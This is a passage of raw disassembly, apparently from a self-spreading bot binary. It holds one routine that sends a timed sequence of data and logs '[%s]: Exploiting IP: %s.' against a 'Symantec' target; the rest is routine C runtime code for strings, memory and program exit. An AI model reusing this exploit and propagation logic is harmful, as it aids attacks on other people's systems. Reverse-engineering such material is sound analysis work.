--------------------------------------------------------------------------- loc_41B80A: ; CODE XREF: ___:0041B79Aj lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41B82E loc_41B820: ; CODE XREF: ___:0041B756j ; ___:0041B7B2j ... push ebx call dword_4CBA7C xor eax, eax jmp loc_41B9B7 ; --------------------------------------------------------------------------- loc_41B82E: ; CODE XREF: ___:0041B781j ; ___:0041B78Aj ... push esi lea eax, [ebp-16h] push 1 push eax push ebx call dword_4CBA34 lea eax, [ebp-10h] push 1 push eax push ebx call sub_41B55B mov esi, dword_427080 add esp, 0Ch mov edi, 3E8h push edi call esi lea eax, [ebp-18h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi lea eax, [ebp-10h] push 2 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi and dword ptr [ebp-4], 0 mov edi, offset byte_4DBCDC push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_41B8CE loc_41B891: ; CODE XREF: ___:0041B8CCj mov eax, [ebp-4] movsx eax, byte_4DBCDC[eax] push eax push offset dword_43ADE8 lea eax, [ebp-20h] push 3 push eax call sub_41C360 lea eax, [ebp-20h] push 0 push eax push ebx call sub_41B55B add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-4] push edi call sub_41B9C0 cmp [ebp-4], eax pop ecx jb short loc_41B891 loc_41B8CE: ; CODE XREF: ___:0041B88Fj lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 0FA0h call esi push 2 pop edi loc_41B8E7: ; CODE XREF: ___:0041B8FEj lea eax, [ebp-14h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 12Ch call esi dec edi jnz short loc_41B8E7 mov edi, 7D0h push edi call esi lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi xor edi, edi lea eax, [ebp-14h] push edi push eax push ebx call sub_41B55B add esp, 0Ch push 190h call esi mov dword ptr [ebp-4], 2 loc_41B938: ; CODE XREF: ___:0041B950j push 258h call esi lea eax, [ebp-0Ch] push edi push eax push ebx call sub_41B55B add esp, 0Ch dec dword ptr [ebp-4] jnz short loc_41B938 push ebx call dword_4CBA7C lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-288h] push 1FFh push eax call sub_41C360 push edi lea eax, [ebp-288h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 mov eax, [ebp+0B0h] add esp, 28h shl eax, 6 inc dword_431810[eax] push 1 lea eax, dword_431810[eax] pop eax loc_41B9B7: ; CODE XREF: ___:0041B829j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B9C0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B9E0 loc_41B9CC: ; CODE XREF: sub_41B9C0+19j mov al, [ecx] inc ecx test al, al jz short loc_41BA13 test ecx, 3 jnz short loc_41B9CC add eax, 0 loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj ; sub_41B9C0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B9E0 mov eax, [ecx-4] test al, al jz short loc_41BA31 test ah, ah jz short loc_41BA27 test eax, 0FF0000h jz short loc_41BA1D test eax, 0FF000000h jz short loc_41BA13 jmp short loc_41B9E0 ; --------------------------------------------------------------------------- loc_41BA13: ; CODE XREF: sub_41B9C0+11j ; sub_41B9C0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA1D: ; CODE XREF: sub_41B9C0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA27: ; CODE XREF: sub_41B9C0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B9C0 endp ; =============== S U B R O U T I N E ======================================= sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+5809p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41BA50 or eax, 0FFFFFFFFh jmp short loc_41BA8A ; --------------------------------------------------------------------------- loc_41BA50: ; CODE XREF: sub_41BA3B+Ej test al, 83h jz short loc_41BA88 push esi call sub_41E42B push esi mov edi, eax call sub_41E3C5 push dword ptr [esi+10h] call sub_41E312 add esp, 0Ch test eax, eax jge short loc_41BA76 or edi, 0FFFFFFFFh jmp short loc_41BA88 ; --------------------------------------------------------------------------- loc_41BA76: ; CODE XREF: sub_41BA3B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41BA88 push eax call sub_41BA91 and dword ptr [esi+1Ch], 0 pop ecx loc_41BA88: ; CODE XREF: sub_41BA3B+17j ; sub_41BA3B+39j ... mov eax, edi loc_41BA8A: ; CODE XREF: sub_41BA3B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41BA3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40A928+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41BAF7 mov eax, dword_4DD3A8 cmp eax, 3 jnz short loc_41BABD push esi call sub_41E717 pop ecx test eax, eax push esi jz short loc_41BAE9 push eax call sub_41E742 pop ecx pop ecx jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BABD: ; CODE XREF: sub_41BA91+14j cmp eax, 2 jnz short loc_41BAE8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41F472 add esp, 0Ch test eax, eax jz short loc_41BAE8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41F4C9 add esp, 0Ch jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj ; sub_41BA91+44j push esi loc_41BAE9: ; CODE XREF: sub_41BA91+20j push 0 push dword_4DD3A4 nop call near ptr 27B0000h loc_41BAF7: ; CODE XREF: sub_41BA91+Aj ; sub_41BA91+2Aj ... pop esi leave retn sub_41BA91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p ; ___:0040FA8Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41BB1E xor eax, eax jmp loc_41BBC7 ; --------------------------------------------------------------------------- loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41BB31 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj mov [ebp+arg_C], 1000h jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j mov ecx, [ebp+arg_0] loc_41BB3D: ; CODE XREF: sub_41BAFA+35j ; sub_41BAFA+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41BB6F mov eax, [esi+4] test eax, eax jz short loc_41BB6F cmp ecx, eax mov edi, ecx jb short loc_41BB54 mov edi, eax loc_41BB54: ; CODE XREF: sub_41BAFA+56j push edi push dword ptr [esi] push ebx call sub_41CD20 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BB6F: ; CODE XREF: sub_41BAFA+49j ; sub_41BAFA+50j cmp ecx, [ebp+arg_C] jb short loc_41BBA2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41BB85 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41BB85: ; CODE XREF: sub_41BAFA+80j push eax push ebx push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch test eax, eax jz short loc_41BBCC cmp eax, 0FFFFFFFFh jz short loc_41BBD2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BBA2: ; CODE XREF: sub_41BAFA+78j push esi call sub_41F8E3 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BBD6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41BBBA: ; CODE XREF: sub_41BAFA+73j ; sub_41BAFA+A6j cmp [ebp+arg_0], 0 jnz loc_41BB3A mov eax, [ebp+arg_8] loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj ; sub_41BAFA+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41BBD6 ; --------------------------------------------------------------------------- loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj or dword ptr [esi+0Ch], 20h loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j ; sub_41BAFA+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41BBC7 sub_41BAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41D9B3+35p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41BBFD push [ebp+arg_4] call sub_41BEB5 pop ecx jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41BC12 push [ebp+arg_0] call sub_41BA91 pop ecx jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BC12: ; CODE XREF: sub_41BBE2+20j mov eax, dword_4DD3A8 cmp eax, 3 jnz loc_41BD22 loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BCFE push [ebp+arg_0] call sub_41E717 mov ebx, eax pop ecx test ebx, ebx jz loc_41BCD9 cmp esi, dword_4DD3A0 ja short loc_41BC92 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41EF20 add esp, 0Ch test eax, eax jnz short loc_41BC8E push esi call sub_41EA6B mov edi, eax pop ecx test edi, edi jz short loc_41BC92 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BC72 mov eax, esi loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj push eax push ebx push edi call sub_41CD20 push ebx call sub_41E717 push [ebp+arg_0] mov ebx, eax push ebx call sub_41E742 add esp, 18h loc_41BC8E: ; CODE XREF: sub_41BBE2+74j test edi, edi jnz short loc_41BCD5 loc_41BC92: ; CODE XREF: sub_41BBE2+62j ; sub_41BBE2+81j test esi, esi jnz short loc_41BC99 push 1 pop esi loc_41BC99: ; CODE XREF: sub_41BBE2+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DD3A4 call near ptr 27C0000h nop mov edi, eax test edi, edi jz short loc_41BCD5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41BCC1 mov eax, esi loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj push eax push ecx push edi call sub_41CD20 push [ebp+arg_0] push ebx call sub_41E742 add esp, 14h loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj ; sub_41BBE2+D0j test ebx, ebx jnz short loc_41BCFA loc_41BCD9: ; CODE XREF: sub_41BBE2+56j test esi, esi jnz short loc_41BCE0 push 1 pop esi loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD3A4 call near ptr 2860000h nop mov edi, eax loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j test edi, edi jnz short loc_41BD1B loc_41BCFE: ; CODE XREF: sub_41BBE2+43j cmp dword_4DBE58, 0 jz short loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BC20 jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj ; sub_41BBE2+123j ... mov eax, edi jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BD22: ; CODE XREF: sub_41BBE2+38j cmp eax, 2 jnz loc_41BE3D cmp esi, 0FFFFFFE0h ja short loc_41BD3F test esi, esi jbe short loc_41BD3C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41BD3F ; --------------------------------------------------------------------------- loc_41BD3C: ; CODE XREF: sub_41BBE2+150j push 10h pop esi loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj ; sub_41BBE2+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BE1F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41F472 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41BE03 cmp esi, dword_43CE84 jnb short loc_41BDC7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F83A add esp, 10h test eax, eax jz short loc_41BD8D mov edi, [ebp+arg_0] jmp short loc_41BDBF ; --------------------------------------------------------------------------- loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j push edi call sub_41F50E mov edi, eax pop ecx test edi, edi jz short loc_41BDC7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDA6 mov eax, esi loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j test edi, edi jnz loc_41BD1B loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj ; sub_41BBE2+1B6j push esi push 0 push dword_4DD3A4 nop call near ptr 27C0000h mov edi, eax test edi, edi jz short loc_41BE1F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDE8 mov eax, esi loc_41BDE8: ; CODE XREF: sub_41BBE2+202j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h jmp short loc_41BE17 ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj push esi push [ebp+arg_0] push 0 push dword_4DD3A4 nop call near ptr 2860000h mov edi, eax loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj test edi, edi jnz loc_41BD1B loc_41BE1F: ; CODE XREF: sub_41BBE2+162j ; sub_41BBE2+1F8j cmp dword_4DBE58, 0 jz loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BD3F jmp short loc_41BE7B ; --------------------------------------------------------------------------- loc_41BE3D: ; CODE XREF: sub_41BBE2+143j ; sub_41BBE2+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41BE67 test esi, esi jnz short loc_41BE4B push 1 pop esi loc_41BE4B: ; CODE XREF: sub_41BBE2+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD3A4 call near ptr 2860000h nop test eax, eax jnz short loc_41BE7D loc_41BE67: ; CODE XREF: sub_41BBE2+260j cmp dword_4DBE58, 0 jz short loc_41BE7D push esi call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BE3D loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj ; sub_41BBE2+134j ... xor eax, eax loc_41BE7D: ; CODE XREF: sub_41BBE2+16j ; sub_41BBE2+13Bj ... pop edi pop esi pop ebx leave retn sub_41BBE2 endp ; =============== S U B R O U T I N E ======================================= sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41FD3D test eax, eax jnz short loc_41BE8C retn ; --------------------------------------------------------------------------- loc_41BE8C: ; CODE XREF: sub_41BE82+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41FBCD add esp, 10h retn sub_41BE82 endp ; =============== S U B R O U T I N E ======================================= sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+57DDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BE82 add esp, 0Ch retn sub_41BEA2 endp ; =============== S U B R O U T I N E ======================================= sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40A928+63p ... arg_0 = dword ptr 4 push dword_4DBE58 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41BEB5 endp ; =============== S U B R O U T I N E ======================================= sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap ; sub_41D9A5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BEF0 loc_41BECE: ; CODE XREF: sub_41BEC7+27j push [esp+arg_0] call sub_41BEF3 test eax, eax pop ecx jnz short locret_41BEF2 cmp [esp+arg_4], eax jz short locret_41BEF2 push [esp+arg_0] call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BECE loc_41BEF0: ; CODE XREF: sub_41BEC7+5j xor eax, eax locret_41BEF2: ; CODE XREF: sub_41BEC7+13j ; sub_41BEC7+19j retn sub_41BEC7 endp ; =============== S U B R O U T I N E ======================================= sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp arg_0 = dword ptr 4 mov eax, dword_4DD3A8 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41BF17 cmp esi, dword_4DD3A0 ja short loc_41BF49 push esi call sub_41EA6B test eax, eax pop ecx jz short loc_41BF49 pop esi retn ; --------------------------------------------------------------------------- loc_41BF17: ; CODE XREF: sub_41BEF3+Dj cmp eax, 2 jnz short loc_41BF49 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41BF2C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41BF2F ; --------------------------------------------------------------------------- loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj push 10h pop esi loc_41BF2F: ; CODE XREF: sub_41BEF3+37j cmp esi, dword_43CE84 ja short loc_41BF56 mov eax, esi shr eax, 4 push eax call sub_41F50E test eax, eax pop ecx jnz short loc_41BF65 jmp short loc_41BF56 ; --------------------------------------------------------------------------- loc_41BF49: ; CODE XREF: sub_41BEF3+15j ; sub_41BEF3+20j ... test esi, esi jnz short loc_41BF50 push 1 pop esi loc_41BF50: ; CODE XREF: sub_41BEF3+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41BF56: ; CODE XREF: sub_41BEF3+42j ; sub_41BEF3+54j push esi push 0 push dword_4DD3A4 call near ptr 27C0000h nop loc_41BF65: ; CODE XREF: sub_41BEF3+52j pop esi retn sub_41BEF3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BFC3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BFB7 neg ecx and ecx, 3 jz short loc_41BF99 sub edx, ecx loc_41BF93: ; CODE XREF: sub_41BF70+27j mov [edi], al inc edi dec ecx jnz short loc_41BF93 loc_41BF99: ; CODE XREF: sub_41BF70+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BFB7 rep stosd test edx, edx jz short loc_41BFBD loc_41BFB7: ; CODE XREF: sub_41BF70+18j ; sub_41BF70+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BFB7 loc_41BFBD: ; CODE XREF: sub_41BF70+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BFC3: ; CODE XREF: sub_41BF70+Aj mov eax, [esp+arg_0] retn sub_41BF70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFD0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41C053 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BFF4 shr ecx, 2 jnz short loc_41C061 jmp short loc_41C015 ; --------------------------------------------------------------------------- loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj ; sub_41BFD0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41C022 test al, al jz short loc_41C02A test esi, 3 jnz short loc_41BFF4 mov ebx, ecx shr ecx, 2 jnz short loc_41C061 loc_41C010: ; CODE XREF: sub_41BFD0+8Fj and ebx, 3 jz short loc_41C022 loc_41C015: ; CODE XREF: sub_41BFD0+22j ; sub_41BFD0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41C04E dec ebx jnz short loc_41C015 loc_41C022: ; CODE XREF: sub_41BFD0+2Bj ; sub_41BFD0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj test edi, 3 jz short loc_41C044 loc_41C032: ; CODE XREF: sub_41BFD0+72j mov [edi], al inc edi dec ecx jz loc_41C0C6 test edi, 3 jnz short loc_41C032 loc_41C044: ; CODE XREF: sub_41BFD0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41C0B7 loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj ; sub_41BFD0+F4j mov [edi], al inc edi loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj dec ebx jnz short loc_41C04B pop ebx pop esi loc_41C053: ; CODE XREF: sub_41BFD0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C059: ; CODE XREF: sub_41BFD0+A9j ; sub_41BFD0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41C010 loc_41C061: ; CODE XREF: sub_41BFD0+20j ; sub_41BFD0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C059 test dl, dl jz short loc_41C0AB test dh, dh jz short loc_41C0A1 test edx, 0FF0000h jz short loc_41C097 test edx, 0FF000000h jnz short loc_41C059 mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C097: ; CODE XREF: sub_41BFD0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj xor edx, edx mov [edi], edx loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j ; sub_41BFD0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41C0C1 loc_41C0B7: ; CODE XREF: sub_41BFD0+79j xor eax, eax loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41C0B9 loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j and ebx, 3 jnz short loc_41C04B loc_41C0C6: ; CODE XREF: sub_41BFD0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BFD0 endp ; =============== S U B R O U T I N E ======================================= sub_41C0CE proc near ; CODE XREF: sub_41C159+4p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41C0D6: ; CODE XREF: sub_41C0CE+34j cmp dword_43D094, 1 jle short loc_41C0EE movzx eax, byte ptr [edi] push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C0FD ; --------------------------------------------------------------------------- loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj movzx eax, byte ptr [edi] mov ecx, off_43CE88 mov al, [ecx+eax*2] and eax, 8 loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej test eax, eax jz short loc_41C104 inc edi jmp short loc_41C0D6 ; --------------------------------------------------------------------------- loc_41C104: ; CODE XREF: sub_41C0CE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41C114 cmp esi, 2Bh jnz short loc_41C118 loc_41C114: ; CODE XREF: sub_41C0CE+3Fj movzx esi, byte ptr [edi] inc edi loc_41C118: ; CODE XREF: sub_41C0CE+44j xor ebx, ebx loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj cmp dword_43D094, 1 jle short loc_41C12F push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C13A ; --------------------------------------------------------------------------- loc_41C12F: ; CODE XREF: sub_41C0CE+53j mov eax, off_43CE88 mov al, [eax+esi*2] and eax, 4 loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj test eax, eax jz short loc_41C14B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41C11A ; --------------------------------------------------------------------------- loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41C154 neg eax loc_41C154: ; CODE XREF: sub_41C0CE+82j pop edi pop esi pop ebp pop ebx retn sub_41C0CE endp ; =============== S U B R O U T I N E ======================================= sub_41C159 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+717p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41C0CE pop ecx retn sub_41C159 endp ; --------------------------------------------------------------------------- mov eax, off_43AE2C test eax, eax jz short loc_41C16F call eax ; sub_41D124 loc_41C16F: ; CODE XREF: ___:0041C16Bj push offset dword_429028 push offset dword_429014 call sub_41C24C push offset dword_429010 push offset dword_429000 call sub_41C24C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41C1B3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41C1A2 proc near ; CODE XREF: sub_41E2C9+1Cp ; sub_422DFC+21E6p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41C1B3 add esp, 0Ch retn sub_41C1A2 endp ; =============== S U B R O U T I N E ======================================= sub_41C1B3 proc near ; CODE XREF: ___:0041C199p ; sub_41C1A2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DBE34, edi jnz short loc_41C1D0 push [esp+4+arg_0] call near ptr 2710FCDh nop push eax nop call near ptr 2710910h loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DBE30, edi mov byte_4DBE2C, bl jnz short loc_41C224 mov eax, dword_4DD3BC test eax, eax jz short loc_41C213 mov ecx, dword_4DD3B8 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41C212 loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj mov eax, [esi] test eax, eax jz short loc_41C207 call eax loc_41C207: ; CODE XREF: sub_41C1B3+50j sub esi, 4 cmp esi, dword_4DD3BC jnb short loc_41C1FF loc_41C212: ; CODE XREF: sub_41C1B3+4Aj pop esi loc_41C213: ; CODE XREF: sub_41C1B3+3Cj push offset dword_429034 push offset dword_42902C call sub_41C24C pop ecx pop ecx loc_41C224: ; CODE XREF: sub_41C1B3+33j push offset dword_429040 push offset dword_429038 call sub_41C24C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41C24A push [esp+4+arg_0] mov dword_4DBE34, edi call near ptr 77E75CB5h nop loc_41C24A: ; CODE XREF: sub_41C1B3+85j pop edi retn sub_41C1B3 endp ; =============== S U B R O U T I N E ======================================= sub_41C24C proc near ; CODE XREF: ___:0041C179p ; ___:0041C188p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41C251: ; CODE XREF: sub_41C24C+16j cmp esi, [esp+4+arg_4] jnb short loc_41C264 mov eax, [esi] test eax, eax jz short loc_41C25F call eax loc_41C25F: ; CODE XREF: sub_41C24C+Fj add esi, 4 jmp short loc_41C251 ; 